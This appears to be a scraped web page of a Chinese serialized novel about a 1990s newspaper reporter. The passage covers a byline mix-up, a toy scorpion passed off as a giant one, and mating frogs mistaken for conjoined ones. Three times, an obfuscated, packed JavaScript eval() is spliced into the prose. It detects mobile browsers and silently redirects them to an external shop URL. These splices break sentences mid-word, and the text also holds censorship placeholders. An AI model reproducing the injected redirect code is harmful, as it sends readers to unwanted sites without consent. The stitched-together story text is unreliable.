原稿找到了。办公室的日光灯管嗡嗡作响,照着那张稿纸最下方。铁证如山。那确确实实是他的字迹,“解平生”后面,跟着刺眼的“孙荣显”。他盯着那笔迹,忽然觉得陌生。那一勾,那一撇,仿佛有了自己的意志,在某个他意识松懈的深夜,完成了一次悄无声息的叛变。 “是我……”他喉咙发干,“是我写错了。昨晚,魂好像溜出去了一半。” 解平生长出一口气,那口气里五味杂陈,有释然,也有残余的惊悸。这时,孙荣显捏着报纸进来了,脸上挂着梦游者才有的困惑。“这……这稿子有我什么事?我昨晚明明在梦里跟人下棋来着。” 真相大白,一场乌龙。孙荣显笑得浑身发抖,说叶葆启这是“把自家的羊羔子抱到别人圈里去了”。叶葆启说要分稿费,孙荣显摆手:“这飞来横名,烫手,我不要。你得请客,给我这受了惊吓的魂儿压压惊。” 陈秉烛主任知道了,把他叫去。主任的办公室总是烟雾缭绕,像某个神秘的祭坛。陈主任的脸在烟雾后若隐若现:“葆启啊,名字是记者的魂儿,丢不得。”他吐出一个烟圈,烟圈缓缓上升, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904162|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变形,“我年轻时,把‘副市长’写成‘副市场’,好家伙,秘书打电话来问,说我们领导是不是改行管秤杆子和白菜梆子了。” 叶葆启想笑,却没笑出来。他感到一种深切的羞耻,不是为错误,而是为自己那曾经溜走的、不受控的一部分灵魂。 晚上,烧烤摊的炭火红得狰狞,像大地咧开的嘴。羊肉串在火上嗞嗞尖叫,油滴下去,腾起一小簇一小簇妖异的火苗。啤酒是黄色的,泛着沫,喝下去像吞进一口口发酵了的月光。 解平生讲他打乒乓球,把对手的名字喊错,结果“那球就跟长了眼睛似的,专往我拍子够不着的地方钻”。孙荣显说他曾把“婚姻美满”写成“婚姻满美”,“读者来信问,是不是两口子日子过得太满,美得溢出来了?” 笑声在夜风里飘散。叶葆启听着,心里的疙瘩被这烟火气慢慢熨着。他看着同事们的脸,在跳动的火光下忽明忽暗,忽然觉得,错误就像这炭火,灼人,但也聚拢了人,烤熟了人情。 骑车回家。夜风把海棠最后的香气送来,那香气现在闻着,不再是甜腥,而是一种宽恕的味道。素琴在灯下织毛衣,毛线是淡蓝色的,在她手指间流淌,像一条宁静的小河。 “解决了?”她没抬头,手指穿梭不停。 “解决了。”叶葆启坐下,拿起那只织了一半的袖子,“是我魂儿不守舍,写跑了偏。” “你的魂儿啊,总惦着外面那些沟沟坎坎,”素琴笑了笑,眼角的细纹像温柔的水波,“回家就好。” 叶葆启摸着那柔软的毛线,忽然洞悉了某种联系。“素琴,你说我们这工作,像不像在织一件看不见的衣裳?电话线是经线,那些诉说是纬线。我们熬夜,记录,就是想把破了的窟窿补上,把断了的线头接起。可有时候,太累了,手一抖,就把图案织错了,甚至把自己的名字也织丢了。” 素琴抬起头,灯光在她眸子里映出两盏小小的、温暖的灯火。“织错了,就拆了重织。线团还在你手里,针还在你手上,怕什么?就是别把自己也给织丢了。” 夜深了。叶葆启躺在妻子身边,听着她均匀的呼吸,像听着世界上最安稳的潮汐。他闭上眼,这次,黑暗不再是虚无,而是饱含墨水的、肥沃的土壤。他也许还会犯错,名字也许还会在某个困顿的深夜走失,但总有一个地方,能让走失的魂儿认路回家。 第二天,他在采访本崭新的一页上写下: “一九九三年四月十三日。夜班。海棠乱坠。笔叛逃,将‘平生’写作‘荣显’。陈主任言:心若正,谬误亦成花纹。平生、荣显未怪,反以烧烤暖我。顿悟:新闻如素琴织衣,我辈持笔如持针,于茫茫寒夜中,编织暖意。针脚难免歪斜,只要线不断,布不裂,总可拆解重来。此夜,魂归位。” 他合上本子,那“位”字的最后一笔,写得格外沉稳有力。 窗外,海棠依旧疯魔般地开着,泼洒着它用不完的粉白。而电话铃声,再一次响起,穿透花瓣与夜色,执着地呼唤着记录者。 叶葆启拿起听筒,声音平静:“你好,夜间记者站。” 听筒里传来新的哭声、怒骂或迷茫。他准备好纸笔,也准备好那枚或许会再次颤抖、但绝不会真正丢失的针。长夜漫漫,他要继续编织下去,把那件名为“人间”的百衲衣,一针一线,织得再密实些,再暖和一些。 11. 第011章 蝎子精的骗局 七月流火。 内海的夏天闷得像蒸笼。河的水面上浮着一层油光,在太阳底下泛着七彩,像倒了的调色盘。知了疯了似的叫,从清晨叫到黄昏,声音嘶哑,像在喊“热啊——热啊——”。胡同里的槐树叶子蔫蔫地耷拉着,蒙着一层灰。 叶葆启值白天的班。办公室的窗户大开着,电扇吱呀呀地转,吹出来的风是热的,裹着油墨味和汗味。他穿着汗衫,后背湿了一片,贴在椅子上,一起身,吱啦一声。 中午十二点,电话响了。曹东方接的——他今天值班。听了几句,曹东方的眼睛亮了:“真的?多大?……二十厘米?我的天!您等等,我记一下。” 挂了电话,曹东方兴奋地说:“葆启,有个读者说捉了只大蝎子,二十厘米长,稀罕物!让咱们去看看!” “二十厘米?”叶葆启放下笔,“那不成了蝎子精了?” “就是蝎子精!老人家说的。”曹东方翻出记录本,“住李楼街,姓刘,退休工人。说中午在屋后砖堆里翻出来的,用砖头砸死了,装玻璃瓶里了。” 叶葆启来了兴趣。二十厘米的蝎子,确实罕见。他在公交公司时,有个司机老家是山东的,说过山里见过大蝎子,但也就十厘米左右。二十厘米,快成精了。 “叫摄影部来,拍个照。”叶葆启说。 曹东方打电话给摄影部。接电话的是沈岳,报社有名的“大师”,拍照片讲究,但听说有稀罕物,立马答应来。 叶葆启又给陈秉烛打电话汇报。陈秉烛在开会,让文书转告:“注意安全,蝎子有毒。” 一点钟,刘大爷来了。真是顶着烈日来的,骑着一辆老式二八自行车,后座绑着个布包。到报社门口时,浑身湿透,像刚从水里捞出来。 叶葆启和曹东方下楼接。刘大爷七十多岁,瘦,但精神,眼睛很亮。见了他们,从布包里小心翼翼捧出个玻璃瓶——装罐头的那种,广口,用纱布扎着口。 “记者同志,你们看!”刘大爷声音洪亮。 叶葆启凑近看。瓶子里果然有只蝎子,很大,黑褐色,尾巴翘着,毒针清晰可见。最惊人的是长度——从螯钳到毒针末端,真有二十厘米左右。 “我的妈呀。”曹东方倒吸一口凉气,“这要蜇一下,还不得死人?” “死了,我砸死了。”刘大爷得意地说,“一砖头下去,不动了。” 这时,沈岳背着相机包来了。一看蝎子,也吃了一惊:“这么大?不会是假的吧?” “假不了!”刘大爷把瓶子放桌上,“我从砖堆里翻出来的,还动呢!” 消息传得很快。保卫科的老王来了,收发室的小李来了,门卫张大爷也来了,连做卫生的赵大姐都探头看。小小的办公室挤满了人,都围着看“蝎子精”。 “我活六十岁,没见过这么大的蝎子。”张大爷啧啧称奇。 “会不会是外国的?走私来的?”老王猜测。 “也可能是变异了,受辐射了。”小李说得更玄乎。 刘大爷更得意了,一遍遍讲发现经过:中午吃完饭,去屋后倒垃圾,看见砖堆里有东西动。扒开一看,是只大蝎子。他赶紧回家拿火钳,夹住,装瓶子里,一砖头砸死。 “为民除害!”刘大爷总结道。 沈岳开始拍照。他离得远远的,手有点抖——怕蝎子突然复活。闪光灯啪啪地闪,蝎子在强光下更显狰狞。 叶葆启看着瓶子里的蝎子,总觉得哪里不对劲。颜色太均匀了,像涂了漆。动作……虽然说是死了,但姿势太僵硬,像标本。 “刘大爷,我能看看吗?”他问。 “看吧,死透了。” 叶葆启用镊子拨了拨蝎子的腿。有弹性,但不是生物的那种弹性,更像……橡胶。 他又把蝎子翻过来。肚子下面有个圆形的吸盘样的东西,浅灰色,像胶皮。 “这是啥?”曹东方也注意到了。 “不知道。”刘大爷凑近看,“可能是肚子?蝎子肚子长这样?” 叶葆启用剪刀尖捅了捅吸盘。软的,确实是胶皮。他心跳加快了,一个猜测在脑子里形成。 “张老师,再拍几张特写。”他对沈岳说,然后对刘大爷笑笑,“大爷,这蝎子太稀罕了,我们得研究研究。您先坐,喝口水。” 刘大爷坐下,曹东方给他倒了茶。叶葆启拿着瓶子和剪刀,走到里屋。 关上门,他用剪刀剪吸盘的一角。嗤——很轻松就剪开了,断面露出海绵状的填充物。 果然是假的。 他又剪开蝎子的身体。塑料壳,里面是棉花和铁丝骨架。螯钳是塑料的,毒针是细铁丝。 一只做工精细的橡胶玩具蝎子。 叶葆启站在那儿,看着桌上这堆“零件”,心里五味杂陈。荒唐,可笑,又有点悲哀。刘大爷顶着烈日送来,那么自豪,那么兴奋,结果是个玩具。 他想起小时候,也干过类似的事。把橡皮泥捏成虫子,放在女同学铅笔盒里,吓得她哇哇哭。那是恶作剧,是孩子的顽皮。 可刘大爷七十多岁了。他是认真的,真以为捉到了稀罕物。 叶葆启整理好情绪,拿着“零件”回到外屋。所有人都看着他。 “刘大爷,”他尽量温和地说,“这蝎子……是假的。” 屋里安静了。电扇吱呀呀的声音格外刺耳。 “假的?”刘大爷站起来,脸涨红了,“怎么可能!我亲手从砖堆里翻出来的!” “您看。”叶葆启把剪开的蝎子递过去,“塑料壳,棉花,铁丝。是玩具。” 刘大爷接过,翻来覆去地看。手开始抖,嘴唇也在抖。看了好半天,他突然一屁股坐下,眼泪流出来了。 “我……我被骗了?”他喃喃道。 “谁骗您了?”曹东方问。 “砖堆……那砖堆是隔壁老王家拆房剩下的。”刘大爷抹了把脸,“他家孙子,小胖,十岁,淘气……肯定是他放的!” 大家明白了。孩子恶作剧,把玩具蝎子藏在砖堆里。老人当真了,还当稀罕物送来报社。 沈岳脸都绿了:“我拍了半天,是玩具?” “对不起张老师,浪费您时间了。”叶葆启道歉。 “没事没事。”沈岳摆摆手,苦笑着收拾相机,“也算是奇遇,拍玩具蝎子精。” 刘大爷还在哭,像个受委屈的孩子。叶葆启蹲下身,拍拍他的肩:“刘大爷,别难过。这说明您眼神好,警惕性高。要真是蝎子,您这一发现,是为民除害。” “可我……我丢人了。”刘大爷抽泣着,“大老远跑来,还惊动了你们……” “不丢人。”叶葆启真诚地说,“您有这份心,想把稀罕事告诉大家,这是好事。只是孩子淘气,跟您开了个玩笑。” 好说歹说,刘大爷情绪才平复。叶葆启和曹东方送他下楼,帮他绑好自行车。临走时,刘大爷握住叶葆启的手:“叶记者,对不住啊,给你们添麻烦了。” “不麻烦,您慢骑。” 看着刘大爷佝偻的背影消失在烈日下,叶葆启心里沉甸甸的。 回到楼上,沈岳已经走了,留下一句话:“照片我洗出来,当个纪念。”其他人也散了,各忙各的。 曹东方苦笑着整理记录:“白忙活一场。” “也不算白忙。”叶葆启坐下,“至少知道了一件事。” “什么事?” “人老了,会变回孩子。”叶葆启说,“刘大爷那股认真劲儿,那种相信奇迹的天真,不就像孩子吗?” 曹东方想了想,点点头。 下午,叶葆启把这件事写成了一篇小稿,没点名,只说一位老人发现“稀罕物”,实为玩具,提醒市民遇到类似情况先辨别真伪。稿子写得很温和,没嘲讽,反而赞美了老人的热心。 写完,他看看表,四点。该下班了。 骑车回家,太阳还毒着。柏油路面软软的,轮胎压上去,留下浅浅的印子。街边的冷饮摊围满了孩子,举着冰棍,吃得满脸都是。 回到平安胡同,素琴正在洗衣服。大盆里泡着床单,她蹲在那儿,用力搓着,后背湿透了。 “回来了?”素琴回头,“缸里有绿豆汤,冰镇的。” 叶葆启舀了一碗,咕咚咕咚喝下去,凉丝丝的,从喉咙一直凉到胃里。 “今天遇见个好玩的事。”他把蝎子精的事说了。 素琴听了,笑出了声:“这老爷子,真可爱。” “是啊,可爱。”叶葆启蹲下,帮她搓床单,“可我心里不是滋味。他那么认真,那么兴奋,结果是个玩笑。那种失望,我能感觉到。” 素琴停下手,看着他:“葆启,你心太软。这世上,真真假假的事多了。你当记者的,要学会分辨,但别把什么都往心里去。” “我知道。”叶葆启说,“可我就是……忍不住想,刘大爷回家后,会怎样?会不会好几天睡不着,觉得自己丢人了?” “那你就写篇温暖的稿子,让老爷子看了高兴。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904163|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “写了,明天登。” 床单洗好了,两人一起拧干。水哗哗地流下来,在院子里积成一小滩,很快被太阳晒干。 小舟放学回来了,书包一扔,就要往外跑。 “去哪儿?”素琴问。 “跟二胖玩!”小舟头也不回。 “先写作业!” “玩一会儿就写!” 话音未落,人没影了。 素琴摇头:“这孩子,越来越皮。” 叶葆启笑了:“皮点好,有活力。” 晚饭是凉面。过水面条,黄瓜丝,芝麻酱,蒜泥,拌在一起,清爽可口。小舟吃了两大碗,满头大汗。 “爸爸,”小舟边吃边说,“我们班王小虎,今天带了个玩具蜘蛛,吓哭了好几个女生。” “然后呢?” “老师没收了,还让他写检查。”小舟得意地说,“我就不会,我带的都是正经玩具。” 叶葆启和素琴对视一眼,都笑了。孩子就是孩子,恶作剧是天性。 吃完饭,叶葆启辅导小舟写作业。语文作业是造句,用“发现”造句。小舟写:“我发现了一只蚂蚁,它正在搬米粒。” “不错。”叶葆启表扬。 “爸爸,”小舟抬起头,“那个老爷爷发现的蝎子,是假的。那他是不是撒谎了?” 叶葆启想了想:“不是撒谎。他是真以为发现了稀罕物,只是弄错了。” “那弄错了,算错误吗?” “算。但只要不是故意的,而且愿意改正,就不算大错。”叶葆启摸摸儿子的头,“就像你做算术题,算错了,改过来就好。” 小舟似懂非懂地点点头,继续写作业。 夜深了。叶葆启躺在床上,却睡不着。窗外有月光,很亮,照得屋里朦朦胧胧的。素琴睡得很熟,发出均匀的呼吸声。 他想起刘大爷流泪的样子。那眼泪,不是因为被骗,是因为“丢人”。老人活了一辈子,讲究个脸面。兴冲冲地去报喜,结果闹了笑话,觉得在年轻人面前丢了份儿。 可这有什么丢人的呢?谁没犯过错?谁没天真过? 叶葆启又想起自己刚当记者时,也闹过笑话。有一次去采访养鸡专业户,人家说“产蛋率百分之九十五”,他听成了“产蛋率百分之九十五斤”,还认真地问:“一斤鸡蛋有几个?”把人家问懵了。 回来写稿时才发现错误,臊得脸通红。陈秉烛知道后,没批评,反而说:“葆启,你这错误犯得好。说明你在思考,在琢磨。记者最怕的不是犯错,是麻木。” 是啊,最怕麻木。刘大爷不麻木,他还有好奇心,还有分享欲。这多珍贵。 叶葆启翻了个身,看向窗外。月亮很圆,像个银盘。明天稿子登出来,刘大爷看到了,会怎么想?会生气吗?会难过吗? 他希望不会。他希望刘大爷能一笑置之,说:“嘿,老了老了,还当了回主角。” 想着想着,他睡着了。 第二天,稿子登出来了。在二版右下角,不大,但很醒目。叶葆启特意多买了一份报纸。 上午,他给李楼街街道办打电话,托他们转告刘大爷:稿子登了,写得很好,大家都夸他热心。 下午,街道办回电话了,是个女同志:“叶记者,刘大爷看了报纸,高兴着呢!拿着报纸到处给人看,说‘我上报纸了!’” 叶葆启松了口气:“他没生气?” “没有!乐得合不拢嘴!还说,等孙子放学,要好好问问,为啥骗爷爷。” 挂了电话,叶葆启笑了。笑得眼睛有点湿。 原来,老人要的不是真相,是关注,是认同,是“我还重要”的感觉。 一只玩具蝎子,给了他这些。 值了。 窗外,知了还在叫。一声声,嘶哑,但执着。 就像人。哪怕老了,哪怕会闹笑话,也要叫,也要说,也要证明自己还活着。 这就是生活。荒诞,但真实;可笑,但温暖。 叶葆启拿起笔,在采访本上写下一句话: “1995年7月10日。蝎子精事件。真与假不重要,重要的是那颗依然好奇、依然想分享的心。老人如此,记者亦如此。” 写完,他合上本子。 电话响了。新的一天,新的故事,又开始了。 他会继续接电话,继续记录,继续在真真假假的世界里,寻找那些真诚的心。 因为,这才是记者该做的事。 12. 第012章 连体青蛙的秘密 八月的内海像一锅煮沸的黏粥。柏油路面被晒出了魂魄,软塌塌地趴着,每一步都能听见“滋啦”的哀鸣。狗躺在槐树荫下,舌头垂出一尺长,喘气声里带着铁锈味。卖冰棍的推着裹了棉被的自行车,吆喝声被热气蒸得变形:“冰棍——小豆冰棍——”尾音拖得老长,像垂死之人的叹息。 叶葆启在报社值白班。电扇开到三档,扇叶疯转,吹起的却是滚烫的风。稿纸在桌上扑簌簌地颤抖,像要自己飞走。他索性脱了汗衫,光着膀子,只穿一条洗得发白的大裤衩,汗水还是顺着脊沟往下淌,在藤椅上积出一小洼。 “这鬼天气,”曹东方骂骂咧咧,“阎王爷在人间支了口油锅。” “心静自然凉。”叶葆启摇着蒲扇,扇出湿热的风。 话是这么说,心里却像塞了团蘸饱煤油的棉花,一点就着。太热了,热得人骨头缝里都冒着焦躁,热得连思想都凝成了黏稠的琥珀。 午后一点,电话铃炸响。曹东方接了,听筒贴在耳朵上,眼睛渐渐亮起来——那光亮叶葆启认得,跟上回蝎子精事件时一模一样。 “葆启!稀罕事又上门了!”曹东方捂着话筒,声音压得低低的,像是怕惊扰了什么,“茂仁毛纺厂,工会的小王干事打电话来说他们厂职工发现连体青蛙!” “连体青蛙?”叶葆启蒲扇停在半空,“两个长一块儿了?” “说是大青蛙背着小青蛙,分不开,在水池子里游!” 叶葆启的脊梁骨一下子挺直了。连体动物罕见,青蛙连体更是稀罕中的稀罕。这要是真的,够上省报甚至国家级科普刊物了。他仿佛已经看见稿子变成铅字,散发着油墨香,在读者手中传阅。 “叫摄影部,我跑现场。”他说。 曹东方打电话。叶葆启套上汗衫——汗衫湿漉漉贴着皮肉,像第二层皮肤。他背起相机包,包里装着海鸥DF-1,还有两卷乐凯黑白胶卷。摄影部沈岳中暑了,这活儿自然落在他肩上。 司机老赵已经在楼下吉普车里等着了。那辆北京212吉普老得掉了牙,帆布篷被晒得发白,车厢里弥漫着汽油、汗水和旧皮革混合的怪味。叶葆启一屁股坐进去,座椅烫得他差点跳起来。 “叶记者,去哪儿?”老赵拧钥匙,引擎咳嗽几声才喘上气。 “茂仁毛纺厂,北郊。” 车动了。车窗全摇下来,灌进来的风却是滚烫的,裹挟着尘土和柏油融化的焦臭。街道空旷得像被遗弃的战场,只有知了在树上集体嚎叫,那声音尖锐而持久,刺得人耳膜生疼。 茂仁毛纺厂蹲在内海北郊,像个衰老的巨兽。红砖围墙被岁月啃噬得斑驳,铁大门锈出了一幅抽象画。门卫室旁聚着七八个职工,正围着一个小水池指指点点,神情肃穆如朝圣。 见报社来人了,工会干事乔欣迎上来,脸上每道皱纹里都藏着兴奋:“记者同志!可把你们盼来了!快来看,稀罕物啊!” 水池两米见方,水泥砌的边沿长满青苔。水是浑浊的绿,漂着絮状藻类。池底积着厚厚的淤泥,几丛水草像溺水者的头发般摇曳。 “在哪儿?”叶葆启问。 “在泥里猫着呢,得请出来。”小乔拿来一根长竹竿,探进池底小心搅动。 淤泥翻涌,水面冒出一串串腐臭的气泡。搅了约莫一刻钟,一个年轻职工突然喊道:“出来了!出来了!” 叶葆启凑近池沿。果然,一只拳头大小的墨绿色青蛙正驮着一只淡绿色的小青蛙,在水里缓缓游动。大青蛙蹬腿,小青蛙也蹬,动作协调得如同一个整体。它们的腹部紧紧贴在一起,仿佛被某种透明的胶质黏连着。 “奇了!”小乔也伸长脖子,“真长一块儿了?” “我们盯了三天了,死活分不开。”小乔说,“用竹竿捅,用网子捞,纹丝不动。” 叶葆启端起相机,取景框里,两只青蛙在浑浊绿水中游弋,像某种远古的水生连体神祇。他按下快门,闪光灯炸出一团白光。青蛙受惊,猛地扎进水草丛。 “捞上来仔细瞧瞧?”年轻职工跃跃欲试。 “捞,轻点儿。”叶葆启说。 那小伙子脱了鞋,卷起裤腿,露出黝黑的小腿。他蹚进水池,水刚没过大腿。他屏住呼吸,双手慢慢合拢——捧起来了。 真捧起来了。青蛙在他掌心挣扎,但两只确实没有分离。 众人围拢过来,形成一个密不透风的圈。叶葆启凑近观察:大青蛙皮肤粗糙,布满疣粒;小青蛙皮肤光滑,颜色浅淡。它们的腹部确实贴在一起,有一层半透明的膜状物相连,在阳光下泛着珍珠般的光泽。 “真是连体的。”叶葆启又拍了几张特写,镜头几乎贴着青蛙的皮肤。 “这得是什么缘故?”曹东方问。 “可能是胚胎发育时没完全分离。”叶葆启回忆着不知哪本杂志上看过的知识,“动物界偶有发生,但青蛙确实罕见。” “那能活吗?” “看这样子,活得挺自在。” 日头毒辣得像烧红的针,一根根扎进头皮。叶葆启让职工把青蛙放回水里。青蛙入水,划动四肢,依旧连在一起,慢悠悠地游向池心。 “叶记者,这能登报吧?”小乔搓着手问。 “能,太能了。”叶葆启说,“我回去写稿,配照片,保准轰动。” 职工们脸上放出光来,围着水池议论纷纷,仿佛这池子里游动的是自家祖传的宝贝。叶葆启又问了几个问题:何时发现?有无异常?一一记在采访本上。钢笔尖划过纸面,沙沙作响,像春蚕啃食桑叶。 该回了。职工们送到厂门口,硬塞过来几瓶橘子汽水。“天热,解解渴,别嫌弃。” 叶葆启推辞不过,收下了。玻璃瓶沁着冰凉的水珠,握在手里,凉意顺着掌心往血管里钻。 回程路上,他咬着吸管喝汽水。橘子香精的甜腻和碳酸的刺激在舌尖炸开。老赵开着车,忽然问:“叶记者,你说这连体青蛙,算一个还是两个?” “生物学上讲,是两个个体,共享部分躯体。” “那它们咋想事儿?是一个脑子想,还是两个脑子各想各的?要是想法不一样,听谁的?” 叶葆启笑了:“这得问青蛙自个儿。” 老赵也笑:“可惜青蛙不会说人话。” 回到报社,已是下午三点。叶葆启伏案写稿,汗珠滴在稿纸上,洇开一小片墨迹。标题拟了好几个:《内海奇观!惊现连体青蛙》《生物学奇迹?两蛙一体存活三日》《稀罕!连体青蛙现身工人水池》。最后敲定:《奇!茂仁毛纺厂惊现连体青蛙》。平实,抓眼。 他写发现过程,写职工描述,写亲眼所见。笔触生动,细节饱满。配上照片,定是一篇好稿。 写完,呈给陈秉烛审。陈主任戴着老花镜,逐字读完,抬头:“有意思。不过葆启,你确定是连体的?不是别的什么情况?” “我亲眼所见,分不开。” 陈秉烛沉吟片刻:“那就发吧。” 稿子送排版车间了,明天见报。叶葆启下班回家,脚步轻快。稀罕事,读者爱看,又能普及科学知识,一箭双雕。 到家时,素琴正在厨房炒菜。油烟混着暑气,凝成黏腻的雾。她只穿一件无袖汗衫,后背湿透,布料紧贴皮肤,勾勒出脊骨的形状。 “回来了?”她回头,额发被汗水粘在鬓角,“今天有新闻?” “有,连体青蛙。”叶葆启把事情说了。 素琴听着,锅铲停在半空:“青蛙真能连体?” “能,生物学上有记载。” “我总觉得……瘆得慌。”素琴皱眉,“俩青蛙长一块儿,怎么过日子?一个想往东,一个想往西,咋整?” “它们可能习惯了,生来就这样。” 晚饭时,叶葆启又跟小舟说起连体青蛙。儿子眼睛瞪得溜圆:“爸爸,它们吃饭咋吃?是一个嘴吃,还是两个嘴各吃各的?” “这……”叶葆启卡壳了,“我没看见它们吃东西。” “那拉屎呢?是一个屁股拉,还是两个屁股一起拉?” 素琴嗔道:“吃饭呢,说这个!” 小舟吐吐舌头,扒拉碗里的米饭。 夜里,叶葆启躺在床上,盯着天花板上晃动的风扇影子。连体青蛙还在他脑子里游。两个生命,共享一副躯壳,是福是祸?它们是自愿融合,还是被迫捆绑?如果有一天能分开,它们会选择分离,还是继续共生? 想着想着,睡着了。梦里,他变成了一只青蛙,背上还黏着另一只青蛙。他想往东,背上那位想往西。他们吵起来,用青蛙的语言,呱呱呱,谁也听不懂谁。 第二天,稿子见报了。二版右上角,挺显眼。照片清晰,文字生动。上午电话就响了。有读者求证真伪,有读者询问地址想参观,还有读者说自家池塘也曾出现过类似情况。 叶葆启一一回复,心情像泡在温水里,舒坦。当记者,最大的餍足莫过于此:你写的东西有人看,有人信,有人讨论。 下午,他决定再去一趟毛纺厂,补拍几张照片,做个后续报道。 老赵开车,热浪依旧。到了厂里,职工们还在水池边守着,像守护某种圣物。见他又来,热情更盛。 “叶记者,您来得正好!”小乔迎上来,“那宝贝还在,还是连着的!” 叶葆启走到池边。水似乎清了些,能看见淤泥上细小的漩涡。连体青蛙在游,慢悠悠的,从容不迫,仿佛早已接受了自己的命运。 他端起相机,又拍了几张。不同角度,不同光线。拍完,老师傅递来一支“大前门”。两人蹲在槐树荫下抽。烟雾缭绕,混杂着汗味和池水的腥气。 “这青蛙,成咱厂的镇厂之宝了。”小乔眯着眼,“昨天下午,来了好几拨人,都是看了报纸来的。连隔壁纺织厂工会的都来了,说要组织职工参观学习。” “好事,普及科学。”叶葆启吐出一口烟。 烟抽完了,该走了。叶葆启起身,与职工们道别,朝厂门走去。走到一半,不知怎的,他鬼使神差地回头看了一眼水池。 这一眼,看出了乾坤颠倒。 连体青蛙……分开了。 大青蛙和小青蛙,各游各的。小青蛙趴在大青蛙背上,但只是趴着,没有连在一起。大青蛙往东游,小青蛙滑下来,自己蹬着腿往西去。 叶葆启僵在原地,相机包从肩头滑落,“啪”地砸在地上。 “小乔!”他喊,声音发颤,“您来看!” 小乔跑过来:“咋了?” “青蛙……分开了。” 小乔弯腰细看,也愣住了:“咦?真分开了!昨天还用竹竿捅都捅不开呢!” 其他职工围拢过来。十几双眼睛盯着水池,盯着那两只各奔东西的青蛙。空气突然安静,连知了都噤了声。 “这……这是咋回事?”年轻职工喃喃。 叶葆启脑子里“轰”的一声,像有什么东西炸开了。碎片纷飞,又迅速重组。他想起来了——全部想起来了。 那不是连体青蛙。那是青蛙在□□。 雄蛙趴在雌蛙背上,前肢抱住雌蛙的腋下,这叫“抱对”。可以持续数小时,甚至数日。从水面上看,就像两只青蛙长在了一起。 他忘了这个常识。彻头彻尾地忘了。职工们更不懂,以为是天地奇观。 闹了个天大的笑话。 叶葆启的脸“腾”地烧起来,从脖子红到耳根,红到头发梢。他想起了刘大爷的蝎子精,想起了自己当时的冷静与睿智。结果呢?自己掉进了同样的坑——被表象迷惑,没看透本质。不,比那更糟,他连基本的生物学常识都抛到了脑后。 “叶记者,”小乔小心翼翼地问,“这不是连体?” “不是。”叶葆启听见自己的声音干涩得像砂纸摩擦,“是……是它们在□□。” 职工们愣了三秒。然后,爆发出惊天动地的笑声。有人笑弯了腰,有人捶打着膝盖,有人抹着笑出的眼泪。笑声在厂区回荡,惊飞了槐树上的麻雀。 “我的娘哎!”一个女职工捂住脸,“咱看了人家三天……看了三天那事儿!还当是宝贝供着!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶葆启抬起头。素琴的脸在暮色中显得柔和而坚定。她没读过多少书,但有些道理,书里未必写得明白。 “你说得对。”他轻声说。 晚饭时,小舟又问起连体青蛙。叶葆启这次如实相告:“儿子,爸爸弄错了。那不是连体青蛙,是青蛙爸爸和青蛙妈妈在抱对,准备生小青蛙。” 小舟眨巴眼睛:“它们在亲热?” “……可以这么说。” “那它们害羞吗?被那么多人看来看去。” 叶葆启笑了:“它们不知道,所以不害羞。” “那我知道了,我害羞。”小舟捂住脸,指缝里透出黑亮的眼睛。 素琴也笑了,伸手揉揉儿子的头:“你个小人精,懂啥害羞。” 夜里,叶葆启睡不着。他起身,拧亮台灯,拿出那本用了三年的采访本。本子边缘已经卷曲,页角泛黄,密密麻麻记录着三年来的采访碎片。他翻到新的一页,钢笔在手里握了很久,才落下第一笔: “1995年8月15日。连体青蛙事件。今日方知,眼见未必为实,尤其当眼见的对象超出认知边界时。 记者这个行当,需要知识储备,更需要一种刻在骨子里的谦卑——承认自己无知,承认自己可能犯错,承认自己与那些拿着蒲扇蹲在树荫下聊天的工人师傅并无本质区别。 今日丢人了,丢大了。但细想,却捡到了更宝贵的东西:一曰审慎,勿轻下结论;二曰坦诚,有错即认;三曰感恩,群众比想象中宽容,只要你肯掏出真心。 明日写后续报道,坦白错误,普及知识。不奢求完全挽回,但求心安。 想起陈主任曾言:记者是人,不是神。是人就会犯错,犯错后的姿态,才决定你最终是人还是鬼。 姿态即一切。” 写完,他合上本子。月光从窗外淌进来,在地上铺出一层水银。院子里那棵老槐树在风中簌簌作响,树影婆娑,像在窃窃私语。墙角下,蟋蟀的鸣叫时断时续,仿佛在吟唱某种古老的歌谣。 他忽然觉得,这世界真像一个巨大的寓言。有蝎子精的闹剧,有青蛙的误会,有无数真真假假、虚虚实实的故事在上演。而记者,不过是这些故事的采集者,像采蜜的蜂,有时采到真蜜,有时误采了毒粉。 但只要心是正的,只要还敢面对自己的错误,就总能酿出点儿什么。 第二天,他写了后续报道。他写自己如何发现错误,写青蛙□□的生物学知识,写从这场闹剧中学到的教训。笔调诚恳,不回避,不粉饰。 稿子登出来后,反响出乎意料地好。读者来信说:“敢于认错的记者才是好记者!”还有读者寄来青蛙生物学资料,附言:“叶记者,共同学习。” 茂仁毛纺厂的小乔也打来电话,笑声透过听筒传过来:“叶记者,你那后续写得好!咱厂职工都看了,说以后看事儿得多转几个弯,不能光看表面。” 